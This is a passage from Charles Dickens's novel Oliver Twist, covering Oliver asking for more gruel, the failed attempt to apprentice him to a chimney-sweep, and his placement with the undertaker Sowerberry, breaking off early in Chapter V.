workhouse; but the board were long-headed men, +and had provided for this difficulty. The relief was inseparable +from the workhouse and the gruel; and that frightened people. + +For the first six months after Oliver Twist was removed, the +system was in full operation. It was rather expensive at first, +in consequence of the increase in the undertaker's bill, and the +necessity of taking in the clothes of all the paupers, which +fluttered loosely on their wasted, shrunken forms, after a week +or two's gruel. But the number of workhouse inmates got thin as +well as the paupers; and the board were in ecstasies. + +The room in which the boys were fed, was a large stone hall, with +a copper at one end: out of which the master, dressed in an +apron for the purpose, and assisted by one or two women, ladled +the gruel at mealtimes. Of this festive composition each boy had +one porringer, and no more--except on occasions of great public +rejoicing, when he had two ounces and a quarter of bread besides. + +The bowls never wanted washing. The boys polished them with +their spoons till they shone again; and when they had performed +this operation (which never took very long, the spoons being +nearly as large as the bowls), they would sit staring at the +copper, with such eager eyes, as if they could have devoured the +very bricks of which it was composed; employing themselves, +meanwhile, in sucking their fingers most assiduously, with the +view of catching up any stray splashes of gruel that might have +been cast thereon. Boys have generally excellent appetites. +Oliver Twist and his companions suffered the tortures of slow +starvation for three months: at last they got so voracious and +wild with hunger, that one boy, who was tall for his age, and +hadn't been used to that sort of thing (for his father had kept a +small cook-shop), hinted darkly to his companions, that unless he +had another basin of gruel per diem, he was afraid he might some +night happen to eat the boy who slept next him, who happened to +be a weakly youth of tender age. He had a wild, hungry eye; and +they implicitly believed him. A council was held; lots were cast +who should walk up to the master after supper that evening, and +ask for more; and it fell to Oliver Twist. + +The evening arrived; the boys took their places. The master, in +his cook's uniform, stationed himself at the copper; his pauper +assistants ranged themselves behind him; the gruel was served +out; and a long grace was said over the short commons. The gruel +disappeared; the boys whispered each other, and winked at Oliver; +while his next neighbors nudged him. Child as he was, he was +desperate with hunger, and reckless with misery. He rose from +the table; and advancing to the master, basin and spoon in hand, +said: somewhat alarmed at his own temerity: + +'Please, sir, I want some more.' + +The master was a fat, healthy man; but he turned very pale. He +gazed in stupefied astonishment on the small rebel for some +seconds, and then clung for support to the copper. The +assistants were paralysed with wonder; the boys with fear. + +'What!' said the master at length, in a faint voice. + +'Please, sir,' replied Oliver, 'I want some more.' + +The master aimed a blow at Oliver's head with the ladle; pinioned +him in his arm; and shrieked aloud for the beadle. + +The board were sitting in solemn conclave, when Mr. Bumble rushed +into the room in great excitement, and addressing the gentleman +in the high chair, said, + +'Mr. Limbkins, I beg your pardon, sir! Oliver Twist has asked +for more!' + +There was a general start. Horror was depicted on every +countenance. + +'For _more_!' said Mr. Limbkins. 'Compose yourself, Bumble, and +answer me distinctly. Do I understand that he asked for more, +after he had eaten the supper allotted by the dietary?' + +'He did, sir,' replied Bumble. + +'That boy will be hung,' said the gentleman in the white +waistcoat. 'I know that boy will be hung.' + +Nobody controverted the prophetic gentleman's opinion. An +animated discussion took place. Oliver was ordered into instant +confinement; and a bill was next morning pasted on the outside of +the gate, offering a reward of five pounds to anybody who would +take Oliver Twist off the hands of the parish. In other words, +five pounds and Oliver Twist were offered to any man or woman who +wanted an apprentice to any trade, business, or calling. + +'I never was more convinced of anything in my life,' said the +gentleman in the white waistcoat, as he knocked at the gate and +read the bill next morning: 'I never was more convinced of +anything in my life, than I am that that boy will come to be +hung.' + +As I purpose to show in the sequel whether the white waistcoated +gentleman was right or not, I should perhaps mar the interest of +this narrative (supposing it to possess any at all), if I +ventured to hint just yet, whether the life of Oliver Twist had +this violent termination or no. + + + + +CHAPTER III + +RELATES HOW OLIVER TWIST WAS VERY NEAR GETTING A PLACE WHICH +WOULD NOT HAVE BEEN A SINECURE + +For a week after the commission of the impious and profane +offence of asking for more, Oliver remained a close prisoner in +the dark and solitary room to which he had been consigned by the +wisdom and mercy of the board. It appears, at first sight not +unreasonable to suppose, that, if he had entertained a becoming +feeling of respect for the prediction of the gentleman in the +white waistcoat, he would have established that sage individual's +prophetic character, once and for ever, by tying one end of his +pocket-handkerchief to a hook in the wall, and attaching himself +to the other. To the performance of this feat, however, there +was one obstacle: namely, that pocket-handkerchiefs being +decided articles of luxury, had been, for all future times and +ages, removed from the noses of paupers by the express order of +the board, in council assembled: solemnly given and pronounced +under their hands and seals. There was a still greater obstacle +in Oliver's youth and childishness. He only cried bitterly all +day; and, when the long, dismal night came on, spread his little +hands before his eyes to shut out the darkness, and crouching in +the corner, tried to sleep: ever and anon waking with a start +and tremble, and drawing himself closer and closer to the wall, +as if to feel even its cold hard surface were a protection in the +gloom and loneliness which surrounded him. + +Let it not be supposed by the enemies of 'the system,' that, +during the period of his solitary incarceration, Oliver was +denied the benefit of exercise, the pleasure of society, or the +advantages of religious consolation. As for exercise, it was +nice cold weather, and he was allowed to perform his ablutions +every morning under the pump, in a stone yard, in the presence of +Mr. Bumble, who prevented his catching cold, and caused a +tingling sensation to pervade his frame, by repeated applications +of the cane. As for society, he was carried every other day into +the hall where the boys dined, and there sociably flogged as a +public warning and example. And so for from being denied the +advantages of religious consolation, he was kicked into the same +apartment every evening at prayer-time, and there permitted to +listen to, and console his mind with, a general supplication of +the boys, containing a special clause, therein inserted by +authority of the board, in which they entreated to be made good, +virtuous, contented, and obedient, and to be guarded from the +sins and vices of Oliver Twist: whom the supplication distinctly +set forth to be under the exclusive patronage and protection of +the powers of wickedness, and an article direct from the +manufactory of the very Devil himself. + +It chanced one morning, while Oliver's affairs were in this +auspicious and comfortable state, that Mr. Gamfield, +chimney-sweep, went his way down the High Street, deeply +cogitating in his mind his ways and means of paying certain +arrears of rent, for which his landlord had become rather +pressing. Mr. Gamfield's most sanguine estimate of his finances +could not raise them within full five pounds of the desired +amount; and, in a species of arthimetical desperation, he was +alternately cudgelling his brains and his donkey, when passing +the workhouse, his eyes encountered the bill on the gate. + +'Wo--o!' said Mr. Gamfield to the donkey. + +The donkey was in a state of profound abstraction: wondering, +probably, whether he was destined to be regaled with a +cabbage-stalk or two when he had disposed of the two sacks of +soot with which the little cart was laden; so, without noticing +the word of command, he jogged onward. + +Mr. Gamfield growled a fierce imprecation on the donkey +generally, but more particularly on his eyes; and, running after +him, bestowed a blow on his head, which would inevitably have +beaten in any skull but a donkey's. Then, catching hold of the +bridle, he gave his jaw a sharp wrench, by way of gentle reminder +that he was not his own master; and by these means turned him +round. He then gave him another blow on the head, just to stun +him till he came back again. Having completed these +arrangements, he walked up to the gate, to read the bill. + +The gentleman with the white waistcoat was standing at the gate +with his hands behind him, after having delivered himself of some +profound sentiments in the board-room. Having witnessed the +little dispute between Mr. Gamfield and the donkey, he smiled +joyously when that person came up to read the bill, for he saw at +once that Mr. Gamfield was exactly the sort of master Oliver +Twist wanted. Mr. Gamfield smiled, too, as he perused the +document; for five pounds was just the sum he had been wishing +for; and, as to the boy with which it was encumbered, Mr. +Gamfield, knowing what the dietary of the workhouse was, well +knew he would be a nice small pattern, just the very thing for +register stoves. So, he spelt the bill through again, from +beginning to end; and then, touching his fur cap in token of +humility, accosted the gentleman in the white waistcoat. + +'This here boy, sir, wot the parish wants to 'prentis,' said Mr. +Gamfield. + +'Ay, my man,' said the gentleman in the white waistcoat, with a +condescending smile. 'What of him?' + +'If the parish vould like him to learn a right pleasant trade, in +a good 'spectable chimbley-sweepin' bisness,' said Mr. Gamfield, +'I wants a 'prentis, and I am ready to take him.' + +'Walk in,' said the gentleman in the white waistcoat. Mr. +Gamfield having lingered behind, to give the donkey another blow +on the head, and another wrench of the jaw, as a caution not to +run away in his absence, followed the gentleman with the white +waistcoat into the room where Oliver had first seen him. + +'It's a nasty trade,' said Mr. Limbkins, when Gamfield had again +stated his wish. + +'Young boys have been smothered in chimneys before now,' said +another gentleman. + +'That's acause they damped the straw afore they lit it in the +chimbley to make 'em come down again,' said Gamfield; 'that's all +smoke, and no blaze; vereas smoke ain't o' no use at all in +making a boy come down, for it only sinds him to sleep, and +that's wot he likes. Boys is wery obstinit, and wery lazy, +Gen'l'men, and there's nothink like a good hot blaze to make 'em +come down vith a run. It's humane too, gen'l'men, acause, even +if they've stuck in the chimbley, roasting their feet makes 'em +struggle to hextricate theirselves.' + +The gentleman in the white waistcoat appeared very much amused by +this explanation; but his mirth was speedily checked by a look +from Mr. Limbkins. The board then proceeded to converse among +themselves for a few minutes, but in so low a tone, that the +words 'saving of expenditure,' 'looked well in the accounts,' +'have a printed report published,' were alone audible. These +only chanced to be heard, indeed, or account of their being very +frequently repeated with great emphasis. + +At length the whispering ceased; and the members of the board, +having resumed their seats and their solemnity, Mr. Limbkins +said: + +'We have considered your proposition, and we don't approve of +it.' + +'Not at all,' said the gentleman in the white waistcoat. + +'Decidedly not,' added the other members. + +As Mr. Gamfield did happen to labour under the slight imputation +of having bruised three or four boys to death already, it +occurred to him that the board had, perhaps, in some +unaccountable freak, taken it into their heads that this +extraneous circumstance ought to influence their proceedings. It +was very unlike their general mode of doing business, if they +had; but still, as he had no particular wish to revive the +rumour, he twisted his cap in his hands, and walked slowly from +the table. + +'So you won't let me have him, gen'l'men?' said Mr. Gamfield, +pausing near the door. + +'No,' replied Mr. Limbkins; 'at least, as it's a nasty business, +we think you ought to take something less than the premium we +offered.' + +Mr. Gamfield's countenance brightened, as, with a quick step, he +returned to the table, and said, + +'What'll you give, gen'l'men? Come! Don't be too hard on a poor +man. What'll you give?' + +'I should say, three pound ten was plenty,' said Mr. Limbkins. + +'Ten shillings too much,' said the gentleman in the white +waistcoat. + +'Come!' said Gamfield; 'say four pound, gen'l'men. Say four +pound, and you've got rid of him for good and all. There!' + +'Three pound ten,' repeated Mr. Limbkins, firmly. + +'Come! I'll split the diff'erence, gen'l'men,' urged Gamfield. +'Three pound fifteen.' + +'Not a farthing more,' was the firm reply of Mr. Limbkins. + +'You're desperate hard upon me, gen'l'men,' said Gamfield, +wavering. + +'Pooh! pooh! nonsense!' said the gentleman in the white +waistcoat. 'He'd be cheap with nothing at all, as a premium. +Take him, you silly fellow! He's just the boy for you. He wants +the stick, now and then: it'll do him good; and his board +needn't come very expensive, for he hasn't been overfed since he +was born. Ha! ha! ha!' + +Mr. Gamfield gave an arch look at the faces round the table, and, +observing a smile on all of them, gradually broke into a smile +himself. The bargain was made. Mr. Bumble, was at once +instructed that Oliver Twist and his indentures were to be +conveyed before the magistrate, for signature and approval, that +very afternoon. + +In pursuance of this determination, little Oliver, to his +excessive astonishment, was released from bondage, and ordered to +put himself into a clean shirt. He had hardly achieved this very +unusual gymnastic performance, when Mr. Bumble brought him, with +his own hands, a basin of gruel, and the holiday allowance of two +ounces and a quarter of bread. At this tremendous sight, Oliver +began to cry very piteously: thinking, not unnaturally, that the +board must have determined to kill him for some useful purpose, +or they never would have begun to fatten him up in that way. + +'Don't make your eyes red, Oliver, but eat your food and be +thankful,' said Mr. Bumble, in a tone of impressive pomposity. +'You're a going to be made a 'prentice of, Oliver.' + +'A prentice, sir!' said the child, trembling. + +'Yes, Oliver,' said Mr. Bumble. 'The kind and blessed gentleman +which is so many parents to you, Oliver, when you have none of +your own: are a going to 'prentice' you: and to set you up in +life, and make a man of you: although the expense to the parish +is three pound ten!--three pound ten, Oliver!--seventy +shillins--one hundred and forty sixpences!--and all for a naughty +orphan which nobody can't love.' + +As Mr. Bumble paused to take breath, after delivering this +address in an awful voice, the tears rolled down the poor child's +face, and he sobbed bitterly. + +'Come,' said Mr. Bumble, somewhat less pompously, for it was +gratifying to his feelings to observe the effect his eloquence +had produced; 'Come, Oliver! Wipe your eyes with the cuffs of +your jacket, and don't cry into your gruel; that's a very foolish +action, Oliver.' It certainly was, for there was quite enough +water in it already. + +On their way to the magistrate, Mr. Bumble instructed Oliver that +all he would have to do, would be to look very happy, and say, +when the gentleman asked him if he wanted to be apprenticed, that +he should like it very much indeed; both of which injunctions +Oliver promised to obey: the rather as Mr. Bumble threw in a +gentle hint, that if he failed in either particular, there was no +telling what would be done to him. When they arrived at the +office, he was shut up in a little room by himself, and +admonished by Mr. Bumble to stay there, until he came back to +fetch him. + +There the boy remained, with a palpitating heart, for half an +hour. At the expiration of which time Mr. Bumble thrust in his +head, unadorned with the cocked hat, and said aloud: + +'Now, Oliver, my dear, come to the gentleman.' As Mr. Bumble +said this, he put on a grim and threatening look, and added, in a +low voice, 'Mind what I told you, you young rascal!' + +Oliver stared innocently in Mr. Bumble's face at this somewhat +contradictory style of address; but that gentleman prevented his +offering any remark thereupon, by leading him at once into an +adjoining room: the door of which was open. It was a large room, +with a great window. Behind a desk, sat two old gentleman with +powdered heads: one of whom was reading the newspaper; while the +other was perusing, with the aid of a pair of tortoise-shell +spectacles, a small piece of parchment which lay before him. Mr. +Limbkins was standing in front of the desk on one side; and Mr. +Gamfield, with a partially washed face, on the other; while two +or three bluff-looking men, in top-boots, were lounging about. + +The old gentleman with the spectacles gradually dozed off, over +the little bit of parchment; and there was a short pause, after +Oliver had been stationed by Mr. Bumble in front of the desk. + +'This is the boy, your worship,' said Mr. Bumble. + +The old gentleman who was reading the newspaper raised his head +for a moment, and pulled the other old gentleman by the sleeve; +whereupon, the last-mentioned old gentleman woke up. + +'Oh, is this the boy?' said the old gentleman. + +'This is him, sir,' replied Mr. Bumble. 'Bow to the magistrate, +my dear.' + +Oliver roused himself, and made his best obeisance. He had been +wondering, with his eyes fixed on the magistrates' powder, +whether all boards were born with that white stuff on their +heads, and were boards from thenceforth on that account. + +'Well,' said the old gentleman, 'I suppose he's fond of +chimney-sweeping?' + +'He doats on it, your worship,' replied Bumble; giving Oliver a +sly pinch, to intimate that he had better not say he didn't. + +'And he _will_ be a sweep, will he?' inquired the old gentleman. + +'If we was to bind him to any other trade to-morrow, he'd run +away simultaneous, your worship,' replied Bumble. + +'And this man that's to be his master--you, sir--you'll treat him +well, and feed him, and do all that sort of thing, will you?' +said the old gentleman. + +'When I says I will, I means I will,' replied Mr. Gamfield +doggedly. + +'You're a rough speaker, my friend, but you look an honest, +open-hearted man,' said the old gentleman: turning his +spectacles in the direction of the candidate for Oliver's +premium, whose villainous countenance was a regular stamped +receipt for cruelty. But the magistrate was half blind and half +childish, so he couldn't reasonably be expected to discern what +other people did. + +'I hope I am, sir,' said Mr. Gamfield, with an ugly leer. + +'I have no doubt you are, my friend,' replied the old gentleman: +fixing his spectacles more firmly on his nose, and looking about +him for the inkstand. + +It was the critical moment of Oliver's fate. If the inkstand had +been where the old gentleman thought it was, he would have dipped +his pen into it, and signed the indentures, and Oliver would have +been straightway hurried off. But, as it chanced to be +immediately under his nose, it followed, as a matter of course, +that he looked all over his desk for it, without finding it; and +happening in the course of his search to look straight before +him, his gaze encountered the pale and terrified face of Oliver +Twist: who, despite all the admonitory looks and pinches of +Bumble, was regarding the repulsive countenance of his future +master, with a mingled expression of horror and fear, too +palpable to be mistaken, even by a half-blind magistrate. + +The old gentleman stopped, laid down his pen, and looked from +Oliver to Mr. Limbkins; who attempted to take snuff with a +cheerful and unconcerned aspect. + +'My boy!' said the old gentleman, 'you look pale and alarmed. +What is the matter?' + +'Stand a little away from him, Beadle,' said the other +magistrate: laying aside the paper, and leaning forward with an +expression of interest. 'Now, boy, tell us what's the matter: +don't be afraid.' + +Oliver fell on his knees, and clasping his hands together, prayed +that they would order him back to the dark room--that they would +starve him--beat him--kill him if they pleased--rather than send +him away with that dreadful man. + +'Well!' said Mr. Bumble, raising his hands and eyes with most +impressive solemnity. 'Well! of all the artful and designing +orphans that ever I see, Oliver, you are one of the most +bare-facedest.' + +'Hold your tongue, Beadle,' said the second old gentleman, when +Mr. Bumble had given vent to this compound adjective. + +'I beg your worship's pardon,' said Mr. Bumble, incredulous of +having heard aright. 'Did your worship speak to me?' + +'Yes. Hold your tongue.' + +Mr. Bumble was stupefied with astonishment. A beadle ordered to +hold his tongue! A moral revolution! + +The old gentleman in the tortoise-shell spectacles looked at his +companion, he nodded significantly. + +'We refuse to sanction these indentures,' said the old gentleman: +tossing aside the piece of parchment as he spoke. + +'I hope,' stammered Mr. Limbkins: 'I hope the magistrates will +not form the opinion that the authorities have been guilty of any +improper conduct, on the unsupported testimony of a child.' + +'The magistrates are not called upon to pronounce any opinion on +the matter,' said the second old gentleman sharply. 'Take the +boy back to the workhouse, and treat him kindly. He seems to +want it.' + +That same evening, the gentleman in the white waistcoat most +positively and decidedly affirmed, not only that Oliver would be +hung, but that he would be drawn and quartered into the bargain. +Mr. Bumble shook his head with gloomy mystery, and said he wished +he might come to good; whereunto Mr. Gamfield replied, that he +wished he might come to him; which, although he agreed with the +beadle in most matters, would seem to be a wish of a totally +opposite description. + +The next morning, the public were once informed that Oliver Twist +was again To Let, and that five pounds would be paid to anybody +who would take possession of him. + + + + +CHAPTER IV + +OLIVER, BEING OFFERED ANOTHER PLACE, MAKES HIS FIRST ENTRY INTO +PUBLIC LIFE + +In great families, when an advantageous place cannot be obtained, +either in possession, reversion, remainder, or expectancy, for +the young man who is growing up, it is a very general custom to +send him to sea. The board, in imitation of so wise and salutary +an example, took counsel together on the expediency of shipping +off Oliver Twist, in some small trading vessel bound to a good +unhealthy port. This suggested itself as the very best thing +that could possibly be done with him: the probability being, that +the skipper would flog him to death, in a playful mood, some day +after dinner, or would knock his brains out with an iron bar; +both pastimes being, as is pretty generally known, very favourite +and common recreations among gentleman of that class. The more +the case presented itself to the board, in this point of view, +the more manifold the advantages of the step appeared; so, they +came to the conclusion that the only way of providing for Oliver +effectually, was to send him to sea without delay. + +Mr. Bumble had been despatched to make various preliminary +inquiries, with the view of finding out some captain or other who +wanted a cabin-boy without any friends; and was returning to the +workhouse to communicate the result of his mission; when he +encountered at the gate, no less a person than Mr. Sowerberry, +the parochial undertaker. + +Mr. Sowerberry was a tall gaunt, large-jointed man, attired in a +suit of threadbare black, with darned cotton stockings of the +same colour, and shoes to answer. His features were not +naturally intended to wear a smiling aspect, but he was in +general rather given to professional jocosity. His step was +elastic, and his face betokened inward pleasantry, as he advanced +to Mr. Bumble, and shook him cordially by the hand. + +'I have taken the measure of the two women that died last night, +Mr. Bumble,' said the undertaker. + +'You'll make your fortune, Mr. Sowerberry,' said the beadle, as +he thrust his thumb and forefinger into the proffered snuff-box +of the undertaker: which was an ingenious little model of a +patent coffin. 'I say you'll make your fortune, Mr. Sowerberry,' +repeated Mr. Bumble, tapping the undertaker on the shoulder, in a +friendly manner, with his cane. + +'Think so?' said the undertaker in a tone which half admitted and +half disputed the probability of the event. 'The prices allowed +by the board are very small, Mr. Bumble.' + +'So are the coffins,' replied the beadle: with precisely as near +an approach to a laugh as a great official ought to indulge in. + +Mr. Sowerberry was much tickled at this: as of course he ought +to be; and laughed a long time without cessation. 'Well, well, +Mr. Bumble,' he said at length, 'there's no denying that, since +the new system of feeding has come in, the coffins are something +narrower and more shallow than they used to be; but we must have +some profit, Mr. Bumble. Well-seasoned timber is an expensive +article, sir; and all the iron handles come, by canal, from +Birmingham.' + +'Well, well,' said Mr. Bumble, 'every trade has its drawbacks. A +fair profit is, of course, allowable.' + +'Of course, of course,' replied the undertaker; 'and if I don't +get a profit upon this or that particular article, why, I make it +up in the long-run, you see--he! he! he!' + +'Just so,' said Mr. Bumble. + +'Though I must say,' continued the undertaker, resuming the +current of observations which the beadle had interrupted: 'though +I must say, Mr. Bumble, that I have to contend against one very +great disadvantage: which is, that all the stout people go off +the quickest. The people who have been better off, and have paid +rates for many years, are the first to sink when they come into +the house; and let me tell you, Mr. Bumble, that three or four +inches over one's calculation makes a great hole in one's +profits: especially when one has a family to provide for, sir.' + +As Mr. Sowerberry said this, with the becoming indignation of an +ill-used man; and as Mr. Bumble felt that it rather tended to +convey a reflection on the honour of the parish; the latter +gentleman thought it advisable to change the subject. Oliver +Twist being uppermost in his mind, he made him his theme. + +'By the bye,' said Mr. Bumble, 'you don't know anybody who wants +a boy, do you? A porochial 'prentis, who is at present a +dead-weight; a millstone, as I may say, round the porochial +throat? Liberal terms, Mr. Sowerberry, liberal terms?' As Mr. +Bumble spoke, he raised his cane to the bill above him, and gave +three distinct raps upon the words 'five pounds': which were +printed thereon in Roman capitals of gigantic size. + +'Gadso!' said the undertaker: taking Mr. Bumble by the +gilt-edged lappel of his official coat; 'that's just the very +thing I wanted to speak to you about. You know--dear me, what a +very elegant button this is, Mr. Bumble! I never noticed it +before.' + +'Yes, I think it rather pretty,' said the beadle, glancing +proudly downwards at the large brass buttons which embellished +his coat. 'The die is the same as the porochial seal--the Good +Samaritan healing the sick and bruised man. The board presented +it to me on Newyear's morning, Mr. Sowerberry. I put it on, I +remember, for the first time, to attend the inquest on that +reduced tradesman, who died in a doorway at midnight.' + +'I recollect,' said the undertaker. 'The jury brought it in, +"Died from exposure to the cold, and want of the common +necessaries of life," didn't they?' + +Mr. Bumble nodded. + +'And they made it a special verdict, I think,' said the +undertaker, 'by adding some words to the effect, that if the +relieving officer had--' + +'Tush! Foolery!' interposed the beadle. 'If the board attended +to all the nonsense that ignorant jurymen talk, they'd have +enough to do.' + +'Very true,' said the undertaker; 'they would indeed.' + +'Juries,' said Mr. Bumble, grasping his cane tightly, as was his +wont when working into a passion: 'juries is ineddicated, +vulgar, grovelling wretches.' + +'So they are,' said the undertaker. + +'They haven't no more philosophy nor political economy about 'em +than that,' said the beadle, snapping his fingers contemptuously. + +'No more they have,' acquiesced the undertaker. + +'I despise 'em,' said the beadle, growing very red in the face. + +'So do I,' rejoined the undertaker. + +'And I only wish we'd a jury of the independent sort, in the +house for a week or two,' said the beadle; 'the rules and +regulations of the board would soon bring their spirit down for +'em.' + +'Let 'em alone for that,' replied the undertaker. So saying, he +smiled, approvingly: to calm the rising wrath of the indignant +parish officer. + +Mr Bumble lifted off his cocked hat; took a handkerchief from the +inside of the crown; wiped from his forehead the perspiration +which his rage had engendered; fixed the cocked hat on again; +and, turning to the undertaker, said in a calmer voice: + +'Well; what about the boy?' + +'Oh!' replied the undertaker; 'why, you know, Mr. Bumble, I pay a +good deal towards the poor's rates.' + +'Hem!' said Mr. Bumble. 'Well?' + +'Well,' replied the undertaker, 'I was thinking that if I pay so +much towards 'em, I've a right to get as much out of 'em as I +can, Mr. Bumble; and so--I think I'll take the boy myself.' + +Mr. Bumble grasped the undertaker by the arm, and led him into +the building. Mr. Sowerberry was closeted with the board for +five minutes; and it was arranged that Oliver should go to him +that evening 'upon liking'--a phrase which means, in the case of +a parish apprentice, that if the master find, upon a short trial, +that he can get enough work out of a boy without putting too much +food into him, he shall have him for a term of years, to do what +he likes with. + +When little Oliver was taken before 'the gentlemen' that evening; +and informed that he was to go, that night, as general house-lad +to a coffin-maker's; and that if he complained of his situation, +or ever came back to the parish again, he would be sent to sea, +there to be drowned, or knocked on the head, as the case might +be, he evinced so little emotion, that they by common consent +pronounced him a hardened young rascal, and ordered Mr. Bumble to +remove him forthwith. + +Now, although it was very natural that the board, of all people +in the world, should feel in a great state of virtuous +astonishment and horror at the smallest tokens of want of feeling +on the part of anybody, they were rather out, in this particular +instance. The simple fact was, that Oliver, instead of +possessing too little feeling, possessed rather too much; and was +in a fair way of being reduced, for life, to a state of brutal +stupidity and sullenness by the ill usage he had received. He +heard the news of his destination, in perfect silence; and, +having had his luggage put into his hand--which was not very +difficult to carry, inasmuch as it was all comprised within the +limits of a brown paper parcel, about half a foot square by three +inches deep--he pulled his cap over his eyes; and once more +attaching himself to Mr. Bumble's coat cuff, was led away by that +dignitary to a new scene of suffering. + +For some time, Mr. Bumble drew Oliver along, without notice or +remark; for the beadle carried his head very erect, as a beadle +always should: and, it being a windy day, little Oliver was +completely enshrouded by the skirts of Mr. Bumble's coat as they +blew open, and disclosed to great advantage his flapped waistcoat +and drab plush knee-breeches. As they drew near to their +destination, however, Mr. Bumble thought it expedient to look +down, and see that the boy was in good order for inspection by +his new master: which he accordingly did, with a fit and +becoming air of gracious patronage. + +'Oliver!' said Mr. Bumble. + +'Yes, sir,' replied Oliver, in a low, tremulous voice. + +'Pull that cap off your eyes, and hold up your head, sir.' + +Although Oliver did as he was desired, at once; and passed the +back of his unoccupied hand briskly across his eyes, he left a +tear in them when he looked up at his conductor. As Mr. Bumble +gazed sternly upon him, it rolled down his cheek. It was followed +by another, and another. The child made a strong effort, but it +was an unsuccessful one. Withdrawing his other hand from Mr. +Bumble's he covered his face with both; and wept until the tears +sprung out from between his chin and bony fingers. + +'Well!' exclaimed Mr. Bumble, stopping short, and darting at his +little charge a look of intense malignity. 'Well! Of _all_ the +ungratefullest, and worst-disposed boys as ever I see, Oliver, +you are the--' + +'No, no, sir,' sobbed Oliver, clinging to the hand which held the +well-known cane; 'no, no, sir; I will be good indeed; indeed, +indeed I will, sir! I am a very little boy, sir; and it is +so--so--' + +'So what?' inquired Mr. Bumble in amazement. + +'So lonely, sir! So very lonely!' cried the child. 'Everybody +hates me. Oh! sir, don't, don't pray be cross to me!' The child +beat his hand upon his heart; and looked in his companion's face, +with tears of real agony. + +Mr. Bumble regarded Oliver's piteous and helpless look, with some +astonishment, for a few seconds; hemmed three or four times in a +husky manner; and after muttering something about 'that +troublesome cough,' bade Oliver dry his eyes and be a good boy. +Then once more taking his hand, he walked on with him in silence. + +The undertaker, who had just putup the shutters of his shop, was +making some entries in his day-book by the light of a most +appropriate dismal candle, when Mr. Bumble entered. + +'Aha!' said the undertaker; looking up from the book, and pausing +in the middle of a word; 'is that you, Bumble?' + +'No one else, Mr. Sowerberry,' replied the beadle. 'Here! I've +brought the boy.' Oliver made a bow. + +'Oh! that's the boy, is it?' said the undertaker: raising the +candle above his head, to get a better view of Oliver. 'Mrs. +Sowerberry, will you have the goodness to come here a moment, my +dear?' + +Mrs. Sowerberry emerged from a little room behind the shop, and +presented the form of a short, then, squeezed-up woman, with a +vixenish countenance. + +'My dear,' said Mr. Sowerberry, deferentially, 'this is the boy +from the workhouse that I told you of.' Oliver bowed again. + +'Dear me!' said the undertaker's wife, 'he's very small.' + +'Why, he _is_ rather small,' replied Mr. Bumble: looking at Oliver +as if it were his fault that he was no bigger; 'he is small. +There's no denying it. But he'll grow, Mrs. Sowerberry--he'll +grow.' + +'Ah! I dare say he will,' replied the lady pettishly, 'on our +victuals and our drink. I see no saving in parish children, not +I; for they always cost more to keep, than they're worth. +However, men always think they know best. There! Get downstairs, +little bag o' bones.' With this, the undertaker's wife opened a +side door, and pushed Oliver down a steep flight of stairs into a +stone cell, damp and dark: forming the ante-room to the +coal-cellar, and denominated 'kitchen'; wherein sat a slatternly +girl, in shoes down at heel, and blue worsted stockings very much +out of repair. + +'Here, Charlotte,' said Mr. Sowerberry, who had followed Oliver +down, 'give this boy some of the cold bits that were put by for +Trip. He hasn't come home since the morning, so he may go +without 'em. I dare say the boy isn't too dainty to eat 'em--are +you, boy?' + +Oliver, whose eyes had glistened at the mention of meat, and who +was trembling with eagerness to devour it, replied in the +negative; and a plateful of coarse broken victuals was set before +him. + +I wish some well-fed philosopher, whose meat and drink turn to +gall within him; whose blood is ice, whose heart is iron; could +have seen Oliver Twist clutching at the dainty viands that the +dog had neglected. I wish he could have witnessed the horrible +avidity with which Oliver tore the bits asunder with all the +ferocity of famine. There is only one thing I should like +better; and that would be to see the Philosopher making the same +sort of meal himself, with the same relish. + +'Well,' said the undertaker's wife, when Oliver had finished his +supper: which she had regarded in silent horror, and with +fearful auguries of his future appetite: 'have you done?' + +There being nothing eatable within his reach, Oliver replied in +the affirmative. + +'Then come with me,' said Mrs. Sowerberry: taking up a dim and +dirty lamp, and leading the way upstairs; 'your bed's under the +counter. You don't mind sleeping among the coffins, I suppose? +But it doesn't much matter whether you do or don't, for you can't +sleep anywhere else. Come; don't keep me here all night!' + +Oliver lingered no longer, but meekly followed his new mistress. + + + + +CHAPTER V + +OLIVER MINGLES WITH NEW ASSOCIATES. GOING TO A FUNERAL FOR THE +FIRST TIME, HE FORMS AN UNFAVOURABLE NOTION OF HIS MASTER'S +BUSINESS + +Oliver, being left to himself in the undertaker's shop, set the +lamp down on a workman's bench, and gazed timidly about him with +a feeling of awe and dread, which many people a good deal older +than he will be at no loss to understand. An unfinished coffin +on black tressels, which stood in the middle of the shop, looked +so gloomy and death-like that a cold tremble came over him, every +time his eyes wandered in the direction of the dismal object: +from which he almost expected to see some frightful form slowly +rear its head, to drive him mad with terror. Against the wall +were ranged, in regular array, a long row of elm boards cut in +the same shape: looking in the dim light, like high-shouldered +ghosts with their hands in their breeches pockets. +Coffin-plates, elm-chips, bright-headed nails, and shreds of +black cloth, lay scattered on the floor; and the wall behind the +counter was ornamented with a lively representation of two mutes +in very stiff neckcloths, on duty at a large private door, with a +hearse drawn by four black steeds, approaching in the distance. +The shop was close and hot. The atmosphere seemed tainted with +the smell of coffins. The recess beneath the counter in which +his flock mattress was thrust, looked like a grave. + +Nor were these the only dismal feelings which depressed Oliver. +He was alone in a strange place; and we all know how chilled and +desolate the best of us will sometimes feel in such a situation. +The boy had no friends to care for, or to care for him. The +regret of no recent separation was fresh in his mind; the absence +of no loved and well-remembered face sank heavily into his heart. + +But his heart was heavy, notwithstanding; and he wished, as he +crept into his narrow bed, that that were his coffin, and that he +could be lain in a calm and lasting sleep in the churchyard +ground, with the tall grass waving gently above his head, and the +sound of the old deep bell to soothe him in his sleep. + +Oliver was awakened in the morning, by a loud kicking at the +outside of the shop-door: which, before he could huddle on his +clothes, was repeated, in an angry and impetuous manner, about +twenty-five times. When he began to undo the chain, the legs +desisted, and a voice began. + +'Open the door, will yer?' cried the voice which belonged to the +legs which had kicked at the door. + +'I will, directly, sir,' replied Oliver: undoing the chain, and +turning the key. + +'I suppose yer the new boy, ain't yer?' said the voice through +the key-hole. + +'Yes, sir,' replied Oliver. + +'How old are yer?' inquired the voice. + +'Ten, sir,' replied Oliver. + +'Then I'll whop yer when I get in,' said the voice; 'you just see +if I don't, that's all, my work'us brat!' and having made this +obliging promise, the voice began to whistle. + +Oliver had been too often subjected to the process to which the +very expressive monosyllable just recorded bears reference, to +entertain the smallest doubt that the owner of the voice, whoever +he might be, would redeem his pledge, most honourably. He drew +back the bolts with a trembling hand, and opened the door. + +For a second or two, 